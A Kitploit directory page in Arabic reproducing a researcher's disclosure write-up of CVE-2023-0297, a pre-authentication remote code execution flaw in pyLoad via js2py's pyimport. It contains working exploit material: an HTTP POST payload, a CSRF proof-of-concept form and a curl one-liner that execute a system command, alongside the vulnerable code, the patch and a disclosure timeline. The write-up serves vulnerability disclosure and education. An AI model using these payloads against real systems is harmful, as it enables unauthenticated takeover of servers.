Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297: قصة اكتشاف ثغرة RCE قبل المصادقة في pyLoad | Kitploit
أدوات/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: قصة اكتشاف ثغرة RCE قبل المصادقة في pyLoad

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
2810منذ 3 سنواتتمت المراجعة من قبل Kitploit

CVE-2023-0297: RCE قبل المصادقة في pyLoad

قصة اكتشاف ثغرة RCE قبل المصادقة في pyLoad

الخلاصة

تؤدي ثغرة حقن كود في إصدارات pyLoad الأقدم من 0.5.0b3.dev31 إلى تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة عبر إساءة استخدام وظيفة js2py.

يمكنك العثور على التقرير هنا وكود الاستغلال هنا.

التفاصيل

pyLoad هو مدير تنزيل مفتوح المصدر مكتوب بلغة Python ويمكن إدارته عبر واجهة ويب. يحتوي مستودعه على GitHub على حوالي 2.8k نجمة حتى 9 يناير 2023.

أثناء تدقيقي للكود المصدري لـ pyLoad، لفت انتباهي الكود التالي:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

تعريف دالة eval_js هو كما يلي:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

تستخدم eval_js(f"{jk} f()") وظيفة js2py التي تنفذ كود JavaScript f"{jk} f()" حيث يتم تمرير معامل jk عبر معامل طلب:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

لذلك يمكنك تنفيذ كود JavaScript عشوائي عبر إرسال طلب إلى نقطة النهاية.

ولكن كيف يمكنك إساءة استخدامها؟ نظرًا لأن XMLHttpRequest وfetch وrequire (مثل node.js) غير معرّفة في سياق js2py.eval_js()، فإن SSRF أو قراءة الملفات المحلية غير ممكنة.

بعد قضاء بعض الوقت، وجدت وظيفة مميزة لـ js2py:

pyimport statement

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

باستخدام هذه الوظيفة، يمكنك استخدام مكتبات Python في سياق js2py.eval_js()! من المثير للدهشة أن pyimport مفعّل افتراضيًا. :o

جرّبت كودًا بسيطًا ينفذ أمر نظام باستخدام pyimport:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

كما هو متوقع، تم تنفيذ touch /tmp/pwnd!

عند إرسال الطلب التالي، سيحدث الشيء نفسه على المضيف المستهدف:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

جزء ;f=function%20f2(){}; في معامل jk ضروري لأن نقطة النهاية هذه تنفذ eval_js(f"{jk} f()"). إذا لم يكن موجودًا، فلن يتم تنفيذ الكود المحقون بسبب خطأ name 'f' is not defined.

لاحظ أن الطلب لا يحتوي على ملف تعريف ارتباط (cookie) ولا رمز CSRF. وهذا يعني أن:

  • يمكن لمهاجم غير مصادق يمكنه الوصول إلى المضيف المستهدف تنفيذ RCE.
  • حتى إذا لم يتمكن المهاجم من الوصول إلى المضيف المستهدف، يمكنه خداع ضحية يمكنها الوصول إلى المضيف المستهدف لتنفيذ RCE عبر هجوم CSRF:
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

كود الاستغلال

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

التصحيح

فقط قم بتعطيل وظيفة pyimport.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

الجدول الزمني

  • 2023-01-02: تم الإبلاغ إلى huntr.dev
  • 2023-01-04: تم التحقق من الثغرة
  • 2023-01-04: تم إصلاح الثغرة ونشر التقرير
  • 2023-01-14: تم تعيين معرف CVE

شكرًا لفريق hunr.dev وأحد القائمين على صيانة pyLoad على الاستجابات السريعة!

تنزيل الأداة